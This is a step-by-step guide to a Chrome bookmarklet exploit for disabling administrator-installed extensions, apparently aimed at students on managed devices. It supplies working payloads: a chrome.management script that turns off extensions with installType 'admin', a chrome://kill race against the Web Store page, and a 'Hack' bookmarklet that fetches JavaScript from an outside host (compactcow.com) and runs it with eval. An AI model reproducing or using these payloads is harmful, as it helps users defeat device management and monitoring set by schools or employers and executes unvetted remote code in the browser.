



First, find the extension's ID:



To do this:


1. Go to <chrome://extensions/>
2. Click "Details"
3. Copy the text at the search bar after the "id=" as shown below.
E.g <chrome://extensions/?id=fgmafhdohjkdhfaacgbgclmfgkgokgmb>




4. Paste this "ID" below when you see the text **<Paste id here>** including the **< >**

How to make a bookmark?

1. To show the bookmark bar,
Press **ctrl + shift + B**
2. Right-click the blank space of the bookmark bar as shown below.



3. Then click on “Add page...”
4. You can change the name to anything you want or To make things simpler follow what I name.
5. Paste whatever text I ask in the URL section.



Make 5 bookmarks:

1. Paste this in the URL section:

```
chrome-extension://<Paste id here>/_generated_background_page.html
```

Name it “**ID**”

2. Paste this in the URL section:

```
chrome://kill
```

Name it “**Kill Chrome**”

3. Paste this in the URL section:

```
https://chrome.google.com/webstorex
```

Name it “**Webstore**”

4. Paste this in the URL section:

```
javascript:onbeforeunload=i=>1
```

Name it “**Spam**”

Or

```
var w="https://chrome.google.com/webstore",c=chrome.management;location.href.startsWith(w)||location.replace(w+Date.now()),c.getAll(function(){arguments[0].forEach(e=>{"admin"===e.installType&&c.setEnabled(e.id,!1)}})
```

^ (Does not require spamming it)

5. Paste this in the URL section:

```
javascript:fetch("https://compactcow.com/ltbeef/exploit.js").then(data=>{data.text().then(text=>{eval(text)}});
```

Name it “**Hack**”

Now onto how to actually do the exploit:

1. Click the “ID” Bookmark.
2. Click the “Kill Chrome” bookmark.
3. Very quickly hit the “Webstore” bookmark.
4. As soon as it starts to load, spam click the “Spam” bookmarklet you made.
5. You may see several popups asking do you want to leave this page, but continue hitting the **cancel** button until you see a checkbox that says Prevent this page from creating dialogues and once you hit that, you should be good to go!
6. Finally, to remove the extension, click on the “Hack” bookmark.
7. Click on the switch of the extension you want to disable.
8. Now the extension should be disabled.
